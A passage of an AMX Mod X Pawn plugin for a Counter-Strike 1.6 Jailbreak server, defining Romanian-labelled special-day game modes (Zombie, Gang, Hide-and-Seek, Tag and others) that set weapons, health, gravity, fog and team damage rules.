                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Hns Day !t]", name);
                }
                case 2:
                {
                        HnsSimpleDay()
                        set_cvar_string("jb_dayss", "Hns Simple Day");
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "0");
                        secundeday = 500

                        set_task(1.0, "block_weapons_task", id)

                        new name[33]
                        get_user_name(id, name, 31)
                        chatcolor(0, "!t[!gDays!t] !ySimon !t[!g%s!t] !ya pornit !gZiua Speciala!y: !t[!g Hns Simple Day !t]", name);
                }
        }

        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

/*============ PUBLIC ZILE SPECIALE ============*/
public ZombieDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 1
        secundeday = 400
        set_cvar_string("jb_dayss", "Zombie Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b")

                if(get_user_team(id) == 1)
                {
                        set_user_health(id, 3000);
                        set_user_info(id, "model", "jb_pa_zombie")
                        entity_set_int(id, EV_INT_body, 1)
                        give_item(id, "weapon_knife");
                }
                else if(get_user_team(id) == 2)
                {
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        set_user_health(id, 300);
                }
        }

        fog()
}

public RzmDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 2
        secundeday = 400
        set_cvar_string("jb_dayss", "Reverse Zombie Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_info(id, "model", "jb_pa_zombie")
                        entity_set_int(id, EV_INT_body, 1)
                        set_user_health(id, 3000);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_awp")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo( id, CSW_AWP, 999 );
                        set_user_health(id, 300);
                }
        }

        fog()
}

public SpartanDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 3
        secundeday = 300
        set_cvar_string("jb_dayss", "Spartan Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_awp")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                        cs_set_user_bpammo(id, CSW_AK47, 300);
                        cs_set_user_bpammo(id, CSW_M4A1, 300);
                        cs_set_user_bpammo(id, CSW_AWP, 300);
                }

                if(cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_deagle")
                        give_item(id, "weapon_shield")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                        set_user_health(id, 200);
                }
        }
}

public GravityDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        is_freezed[id] = true

        g_GameMode = 4
        secundeday = 300
        set_cvar_string("jb_dayss", "Gravity Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id)

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id, "weapon_knife")

                        set_user_gravity(id, 0.375);
                }

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 200)

                        set_user_gravity(id, 0.375);
                }
        }
}

public GrenadeDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 5
        secundeday = 300
        set_cvar_string("jb_dayss", "Grenade Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                set_task(0.0, "give_hegrenade_task", id)

                strip_user_weapons(id);
        }
}

public NightDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 6
        secundeday = 300
        set_cvar_string("jb_dayss", "NightCrawler Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 150);
                        set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0);
                        set_pev(id, pev_weaponmodel2, _Pumni[0])
                        give_item(id, "weapon_knife")
                }
                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        set_user_health(id, 100);
                        give_item(id, "weapon_ak47")
                        give_item(id, "weapon_m4a1")
                        give_item(id, "weapon_deagle");
                        cs_set_user_bpammo( id, CSW_AK47, 999 );
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                }
        }
}

public BoxDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 7
        secundeday = 300
        set_cvar_string("jb_dayss", "Box Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_user_health(id, 100);
                client_cmd(0, "mp3 play ^"%s^"", game_box)
        }
}

public GangDay()
{
        new iPlayers[32];
        new iNum;
        new ids;

        g_isDay = true;
        g_GameMode = 8
        secundeday = 300
        set_cvar_string("jb_dayss", "Gang Day");

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                ids = iPlayers[i]
                if( !is_user_alive( ids ) )
                        continue;

                if(cs_get_user_team(ids) == CS_TEAM_T)
                {
                        strip_user_weapons(ids);

                        if(check_blueteam <= check_redteam)
                        {
                                check_blueteam++;
                                clear_bit(check_rteam, ids);
                                set_bit(check_bteam, ids);
                                give_item(ids, "weapon_mp5navy");
                                cs_set_user_bpammo(ids, CSW_MP5NAVY, 50000);
                                set_user_rendering(ids, kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 40)
                                chatcolor(ids, "!g[GangDay]!y Esti in !gEchipa !yAlbastra")
                        }
                        else
                        {
                                check_redteam++;
                                clear_bit(check_bteam, ids);
                                set_bit(check_rteam, ids);
                                give_item(ids, "weapon_mp5navy");
                                cs_set_user_bpammo( ids, CSW_MP5NAVY, 50000 );
                                set_user_rendering(ids, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 40)
                                chatcolor(ids, "!g[GangDay]!y Esti in !gEchipa !yAlbastra")
                        }
                }
                else if(cs_get_user_team(ids) == CS_TEAM_CT)
                {
                        set_user_godmode(ids, true);
                        give_item(ids, "weapon_mp5navy");
                        cs_set_user_bpammo(ids, CSW_MP5NAVY, 50000);
                }
        }

        set_task( 1.0, "GangDay_Countdown", TASK_GANGDAY, _, _, "a", 123451234 );
}

public GangDay_Countdown()
{
        if(check_redteam > 0 && check_blueteam > 0)
        {
                set_hudmessage(255, 20, 20, 0.84, 0.70, 0, 6.0, 1.2);
                ShowSyncHudMsg(0, g_syncHudMessage2, "Rosii: %d^nAlbastrii: %d", check_redteam, check_blueteam);
        }
        else
                if( task_exists(TASK_GANGDAY))
                        remove_task(TASK_GANGDAY);
}

public WarDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 9
        secundeday = 300
        set_cvar_string("jb_dayss", "War Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_deagle")
                give_item(id, "weapon_ak47")
                give_item(id, "weapon_m4a1")
                give_item(id, "weapon_awp")
                cs_set_user_bpammo(id, CSW_DEAGLE, 200);
                cs_set_user_bpammo(id, CSW_AK47, 300);
                cs_set_user_bpammo(id, CSW_M4A1, 300);
                cs_set_user_bpammo(id, CSW_AWP, 300);
                set_user_health(id, 150);
        }
}

public HnsDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 10
        secundeday = 300
        set_cvar_string("jb_dayss", "Hns Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_task(120.0, "reset", id)
                jail_open()

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        Fade_To_Black(id)
                        set_user_godmode(id, true);
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                }
        }

        set_lights("b")

        g_HNSCount = HNSCount;
        set_task( 1.0 , "HnsCount" , _ , _ , _ , "a" , g_HNSCount);
}

public reset(id)
{
        switch(get_user_team(id))
        {
                case 1: set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                case 2:
                {
                        set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN);
                        Reset_Screen(id)
                }
        }
}

public HnsSimpleDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 11
        secundeday = 500
        set_cvar_string("jb_dayss", "Hns Simple Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_task(120.0, "reset_simple", id)
                jail_open()
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        Fade_To_Black(id)
                        set_user_godmode(id, true);
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN);
                }
        }

        g_HNSCount = HNSCount;
        set_task( 1.0 , "HnsCount" , _ , _ , _ , "a" , g_HNSCount);
}

public reset_simple(id)
{
        if(get_user_team(id))
        {
                set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN);
                Reset_Screen(id)
        }
}

public GhostDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 12
        secundeday = 300
        set_cvar_string("jb_dayss", "Ghost Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                set_lights("b");
                jail_open()

                if(cs_get_user_team(id) == CS_TEAM_CT)
                {
                        user_rendering(id, kRenderFxGlowShell, 150.0, 150.0, 170.0, kRenderNormal, 0.0);
                        set_user_noclip(id, 1)
                        set_pev(id, pev_health, 506.0);
                        set_pdata_int(id, m_bloodColor, 15);
                        set_pev(id, pev_maxspeed, 320.0);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        new iEnt = give_item(id, "weapon_m249")

                        if (is_valid_ent(iEnt))
                                cs_set_weapon_ammo(iEnt, 2000)

                        set_pev(id, pev_health, 120.0);
                }
        }
}

public GodModeDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 13
        secundeday = 1200
        jail_open()
        set_cvar_string("jb_dayss", "GodMode Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                //set_lights("a")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id, "weapon_deagle")
                        cs_set_user_bpammo( id, CSW_DEAGLE, 999)

                        set_user_godmode(id, 1)

                        /*if(get_pcvar_num(cvar_players_aura))
                                set_task(0.1, "players_aura", id+TASK_AURA, _, _, "b")*/
                }
        }
}

public MagicDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 14
        secundeday = 300
        set_cvar_string("jb_dayss", "Magic Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife")
                set_lights("b")

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 200);
                        start_magic(id)
                        set_pev(id, pev_maxspeed, 450.0);
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        set_user_health(id, 100);
                        start_magic(id)
                }
        }
}

public TagDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 15
        secundeday = 300
        set_cvar_string("jb_dayss", "Tag Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        szPlayerCT[id] = true
                        set_user_godmode(id, 1)
                        set_pev(id, pev_flags, pev(id, pev_flags) | FL_FROZEN)
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        new Float:szSpeed
                        szSpeed = get_pcvar_float( g_Cvar[4] )
                        set_user_maxspeed(id, szSpeed)

                        new Float:szGravity
                        szGravity = get_pcvar_float( g_Cvar[5] )
                        set_user_gravity(id, szGravity)
                }

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                jail_open()

                set_task(1.0, "PrisoneInformer", 1234, _, _, "b")
                set_task(1.0, "Timer", 123, _, _, "b")
        }
}

public OneHpDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 16
        secundeday = 200
        set_cvar_string("jb_dayss", "One Hp Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        set_user_health(id, 25);
                        give_item(id, "weapon_knife");
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                        set_user_health(id, 1);
        }
}

public DodgeBallDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 17
        secundeday = 200
        set_cvar_string("jb_dayss", "DodgeBall Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                start_dodgeballday()
                jail_open()
        }
}

public HeadShotDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 18
        secundeday = 200
        set_cvar_string("jb_dayss", "HeadShot Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item(id,"weapon_m4a1")
                        cs_set_user_bpammo( id, CSW_M4A1, 999 );
                        set_user_hitzones(0, 0, 2)
                }

                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item(id,"weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 999);
                        set_user_hitzones(0, 0, 2)
                }
        }
}

public PaintBallDay()
{
        new iPlayers[32]
        new iNum
        new id

        g_isDay = true;
        g_GameMode = 19
        secundeday = 200
        set_cvar_string("jb_dayss", "PaintBall Day");

        get_players( iPlayers, iNum )
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i]
                if(!is_user_alive(id))
                        continue;

                strip_user_weapons(id);
                //start_paintball(id)

                if (cs_get_user_team(id) == CS_TEAM_CT)
                {
                        give_item( id, "weapon_mp5navy" )
                        cs_set_user_bpammo( id, CSW_MP5NAVY, 999 );
                }
                if (cs_get_user_team(id) == CS_TEAM_T)
                {
                        give_item( id, "weapon_mp5navy" )
                        cs_set_user_bpammo( id, CSW_MP5NAVY, 999 );
                }
        }
}

public give_hegrenade_task(id)
{
        give_item(id, "weapon_hegrenade")
        cs_set_user_bpammo(id, CSW_HEGRENADE, 9999)
}

public block_weapons_task(id)
        g_BlockWeapons = 1

/*=================== FiNISH ===================*/
/*============ PUBLIC ZILE SPECIALE ============*/


public ResModel(id)
{
        new iPlayers[32], iNum, iPid;
        get_players( iPlayers, iNum, "a" );

        for( new i; i < iNum; i++ )
        {
                iPid = iPlayers[i];
                cs_reset_user_model(iPid)
        }
}

public user_kills()
{
        new iPlayers[32];
        new iNum;
        new id;

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i];

                if(get_bit(check_rteam, id))
                        chatcolor(id, "!t[!gGang System!t] !yAti primit !t[!g10!t] !yTigari !")

                user_silentkill(id)

                chatcolor(id, "!t[!gGang System!t] !yCastigatoii !tsunt !yEchipa !gAlbastra !")
        }
}

public user_killss()
{
        new iPlayers[32];
        new iNum;
        new id;

        get_players( iPlayers, iNum );
        for( new i = 0; i < iNum; i++ )
        {
                id = iPlayers[i];

                if(get_bit(check_bteam, id))
                        chatcolor(id, "!t[!gGang System!t] !yAti primit !t[!g10!t] !yCREDITE !")

                user_silentkill(id)

                chatcolor(id, "!t[!gGang System!t] !yCastigatoii !gsunt !tEchipa !gAlbastra !")
        }
}

public kill_all()
{
        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || !is_user_alive(i))
                        continue

                switch(g_GameMode)
                {
                        case 1: if(get_user_team(i) == 1) user_kill(i)
                        case 2: if(get_user_team(i) == 1) user_kill(i)
                        case 3: user_kill(i)
                        case 4: user_kill(i)
                        case 5: if(get_user_team(i) == 2) user_kill(i)
                        case 6: user_kill(i)
                        case 7: if(get_user_team(i) == 1) user_kill(i)
                        case 8: user_kill(i)
                        case 9: if(get_user_team(i) == 2) user_kill(i)
                        case 10: if(get_user_team(i) == 2) user_kill(i)
                        case 11: if(get_user_team(i) == 2) user_kill(i)
                        case 12: user_kill(i)
                        case 13: user_kill(i)
                        case 14: if(get_user_team(i) == 2) user_kill(i)
                        case 15: if(get_user_team(i) == 1) user_kill(i)
                        case 16: user_kill(i)
                        case 17: if(get_user_team(i) == 2) user_kill(i)
                        case 18: if(get_user_team(i) == 2) user_kill(i)
                        case 19: user_kill(i)
                        case 20: user_kill(i)
                }

                //user_kill(i)
        }
}

public fwdDamagePlayer(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits, Float:vecOrigin[3])
{
        if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
                return HAM_IGNORED

        if(g_GameMode == 8)
        {
                if(cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_T)
                {
                        if(get_bit(check_bteam, attacker) && get_bit(check_bteam, victim)|| get_bit(check_rteam, attacker) && get_bit(check_rteam, victim))
                                return HAM_SUPERCEDE;
                        else if(get_bit(check_bteam, attacker) && get_bit(check_rteam, victim)|| get_bit(check_rteam, attacker) && get_bit(check_bteam, victim))
                        {
                                if(get_user_health(victim) > 28)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-28 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Gang Day" )
                        }
                }
                else if(cs_get_user_team(attacker) == CS_TEAM_CT && cs_get_user_team(victim) == CS_TEAM_T)
                        return HAM_SUPERCEDE;
        }

        if(g_GameMode == 15)
        {
                if(get_user_team(attacker) == 2 && get_user_team(victim) == 1)
                {
                        if(!tagday[victim] && !szPlayerCaught[victim])
                        {
                                set_pev(victim, pev_flags, pev(victim, pev_flags) | FL_FROZEN)
                                set_user_rendering(victim, kRenderFxGlowShell, 0, 206, 209, kRenderNormal, 25)
                                szPlayerCaught[victim] = true
                                szPlayerTime[victim] = get_pcvar_num( g_Cvar[2] )
                                set_task(1.0, "TouchKill", victim)
                                ++szHelpNum
                        }
                        set_user_health(victim, 100)
                }
                else if(szPlayerCaught[victim] && get_user_team(attacker) == 1 && get_user_team(victim) == 1)
                {
                        szPlayerCaught[victim] = false
                        remove_task(victim)
                        szPlayerTime[victim] = 0 

                        new szHealth
                        szHealth = get_pcvar_num( g_Cvar[3] )
                        set_user_health(victim, get_user_health(victim) - szHealth)
                        set_user_health(victim, get_user_health(attacker) + szHealth)

                        vecOrigin[2] += 15.0;
                        CREATE_SPRITETRAIL(vecOrigin, g_pSpriteFrost, 30, 20, 2, 20, 10);

                        new Float:fOrigin[3];
                        CREATE_BREAKMODEL(fOrigin, _, _, 10, g_pModelFrost, 10, 25, BREAK_GLASS);

                        emit_sound(victim, CHAN_AUTO, "jb_pa_sounds/days_mode/tagday/freeze_player.wav", VOL_NORM, ATTN_NORM, 0, PITCH_NORM);

                        set_user_rendering(victim, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25)
                        set_pev(victim, pev_flags, pev(victim, pev_flags) & ~FL_FROZEN)

                        new Float:szSpeed
                        szSpeed = get_pcvar_float( g_Cvar[4] )
                        set_user_maxspeed(victim, szSpeed)

                        new Float:szGravity
                        szGravity = get_pcvar_float( g_Cvar[5] )
                        set_user_gravity(victim, szGravity)

                        tagday[victim] = true
                        set_task(2.0, "tagday_end", victim + 22838)
                }
        }

        return HAM_IGNORED
}

public Fade_To_Black(id)
{
        message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
        write_short((1<<3)|(1<<8)|(1<<10))
        write_short((1<<3)|(1<<8)|(1<<10))
        write_short((1<<0)|(1<<2))
        write_byte(255)
        write_byte(0)
        write_byte(0)
        write_byte(255)
        message_end()
}

public Reset_Screen(id)
{
        message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
        write_short(1<<2)
        write_short(0)
        write_short(0)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        message_end()
}

public fog()
{
        message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
        write_byte(215)  // R
        write_byte(0)  // G
        write_byte(0)  // B
        write_byte(66) // SD
        write_byte(96)  // ED
        write_byte(27)  // D1
        write_byte(59)  // D2
        message_end()
}

public nofog()
{
        message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
        write_byte(0)  // R
        write_byte(0)  // G
        write_byte(0)  // B
        write_byte(0) // SD
        write_byte(0)  // ED
        write_byte(0)  // D1
        write_byte(0)  // D2
        message_end()
}

public fw_PlayerPreThink(id)
{
        if(g_GameMode <= 0)
        {
                if(g_PlayerLast || g_LastDenied)
                {
                        if(is_user_alive(id) && is_user_connected(id))
                        {
                                set_user_maxspeed(id, 250.0)
                                set_user_noclip(id, 0)
                                set_user_godmode(id, 0)
                                set_user_gravity(id, 1.0)
                        }

                        return PLUGIN_HANDLED
                }
        }

        return FMRES_IGNORED;
}

stock sw_kill( Killer, Victim, ScoreBoard, const Weapon[  ] )
{
        set_msg_block( get_user_msgid( "DeathMsg" ), BLOCK_SET );

        ExecuteHamB( Ham_Killed, Victim, Killer, 0 );

        set_msg_block( get_user_msgid( "DeathMsg" ), BLOCK_NOT );

        make_deathmsg( Killer, Victim, 0, Weapon );

        if( ScoreBoard )
        {
                message_begin( MSG_BROADCAST, get_user_msgid( "ScoreInfo" ) );
                write_byte( Killer );
                write_short( pev( Killer, pev_frags ) );
                write_short( get_user_deaths( Killer ) );
                write_short( 0 );
                write_short( get_user_team( Killer ) );
                message_end(  );

                message_begin( MSG_BROADCAST, get_user_msgid( "ScoreInfo" ) );
                write_byte( Victim );
                write_short( pev( Victim, pev_frags ) );
                write_short( get_user_deaths( Victim ) );
                write_short( 0 );
                write_short( get_user_team( Victim ) );
                message_end(  );
        }

        if(cs_get_user_team(Victim) == CS_TEAM_T && get_bit(check_bteam, Victim))
        {
                check_blueteam--;
                if(check_blueteam == 0)
                        user_kills()
        }
        else if(cs_get_user_team(Victim) == CS_TEAM_T && get_bit(check_rteam, Victim))
        {
                check_redteam--;
                if(check_redteam == 0)
                        user_killss()
        }
}

stock create_blood(const Float:origin[3])
{
        // Show some blood :)
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
        write_byte(TE_BLOODSPRITE)
        engfunc(EngFunc_WriteCoord, origin[0])
        engfunc(EngFunc_WriteCoord, origin[1])
        engfunc(EngFunc_WriteCoord, origin[2])
        write_short(m_iBlood[1])
        write_short(m_iBlood[0])
        write_byte(75)
        write_byte(5)
        message_end()
}

stock fm_get_aimorigin(index, Float:origin[3])
{
        new Float:start[3], Float:view_ofs[3];
        pev(index, pev_origin, start);
        pev(index, pev_view_ofs, view_ofs);
        xs_vec_add(start, view_ofs, start);

        new Float:dest[3];
        pev(index, pev_v_angle, dest);
        engfunc(EngFunc_MakeVectors, dest);
        global_get(glb_v_forward, dest);
        xs_vec_mul_scalar(dest, 9999.0, dest);
        xs_vec_add(start, dest, dest);

        engfunc(EngFunc_TraceLine, start, dest, 0, index, 0);
        get_tr2(0, TR_vecEndPos, origin);

        return 1;
}

stock user_rendering(id, iRenderFx, Float:flRed, Float:flGreen, Float:flBlue, iRenderMode,  Float:flRenderAmt)
{
        new Float:fRenderColor[3];
        fRenderColor[0] = flRed;
        fRenderColor[1] = flGreen;
        fRenderColor[2] = flBlue;
        set_pev(id, pev_renderfx, iRenderFx);
        set_pev(id, pev_rendercolor, fRenderColor);
        set_pev(id, pev_rendermode, iRenderMode);
        set_pev(id, pev_renderamt, flRenderAmt);
}

stock Fade(index, red, green, blue, alpha)
{
        message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},index);
        write_short(1<<10);
        write_short(1<<10);
        write_short(1<<12);
        write_byte(red);
        write_byte(green);
        write_byte(blue);
        write_byte(alpha);
        message_end();
}

public players_aura(taskid)
{
        // Get player's origin
        static origin[3]
        get_user_origin(ID_AURA, origin)

        // Colored Aura
        message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
        write_byte(TE_DLIGHT) // TE id
        write_coord(origin[0]) // x
        write_coord(origin[1]) // y
        write_coord(origin[2]) // z
        write_byte(20) // radius
        write_byte(get_pcvar_num(cvar_players_aura_color_R)) // r
        write_byte(get_pcvar_num(cvar_players_aura_color_G)) // g
        write_byte(get_pcvar_num(cvar_players_aura_color_B)) // b
        write_byte(2) // life
        write_byte(0) // decay rate
        message_end()
}

public Timer()
{
        new szPlayers[32]
        new szNum, szPlayer

        get_players(szPlayers, szNum)
        for(new i; i < szNum; i++)
        {
                szPlayer = szPlayers[i]
                if(!is_user_alive(szPlayer) || !is_user_connected(szPlayer))
                        continue

                if(g_GameMode == 15)
                {
                        if(cs_get_user_team(szPlayer) == CS_TEAM_CT)
                        {
                                szPlayerCT[szPlayer] = false

                                set_pev(szPlayer, pev_flags, pev(szPlayer, pev_flags) & ~FL_FROZEN)

                                new Float:szSpeed
                                szSpeed = get_pcvar_float( g_Cvar[4] )
                                set_user_maxspeed(szPlayer, szSpeed)

                                new Float:szGravity
                                szGravity = get_pcvar_float( g_Cvar[5] )
                                set_user_gravity(szPlayer, szGravity)
                        }
                }
        }
}

public tagday_end(taskid)
{
        new Touched = taskid - 22838
        if(tagday[Touched]) tagday[Touched] = false
        remove_task(Touched + 22838)
}

public TouchKill(id)
{
        if(szPlayerCaught[id] && szPlayerTime[id] > 0)
        {
                --szPlayerTime[id]
                set_task(1.0, "TouchKill", id)
        }
        else
        {
                set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN)
                user_kill(id)
        }
}

public PrisoneInformer(id)
{
        if(szHelpNum > 0)
        {
                szHelpNum = 0

                static n
                new szText[512], szFormat[512]

                n = 0
                n = strlen(szText)

                new szPlayers[32]
                new szNum, szPlayer

                get_players(szPlayers, szNum)
                for(new i; i < szNum; i++)
                {
                        szPlayer = szPlayers[i]
                        if(szPlayerCaught[szPlayer])
                        {
                                if(szPlayerTime[szPlayer] >= 1)
                                {
                                        new szName[32]
                                        get_user_name(szPlayer, szName, charsmax( szName ))

                                        n += copy(szText[n], charsmax( szText ) - n, "^n^t")

                                        formatex(szFormat, charsmax( szFormat ), "  %s [%i]", szName, szPlayerTime[szPlayer])
                                        n += copy(szText[n], charsmax( szText ) - n, szFormat)

                                        ++szHelpNum
                                }
                        }
                }

                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), 0.0, 0.6, 0, 6.0, 1.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Inghetati:  [%d] ^n%s", szHelpNum, szText)
        }
}

stock CREATE_SPRITETRAIL(const Float:fOrigin[3], pSprite, iCount, iLife, iScale, iVelocityAlongVector, iRandomVelocity)
{
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
        write_byte(TE_SPRITETRAIL);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2]);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
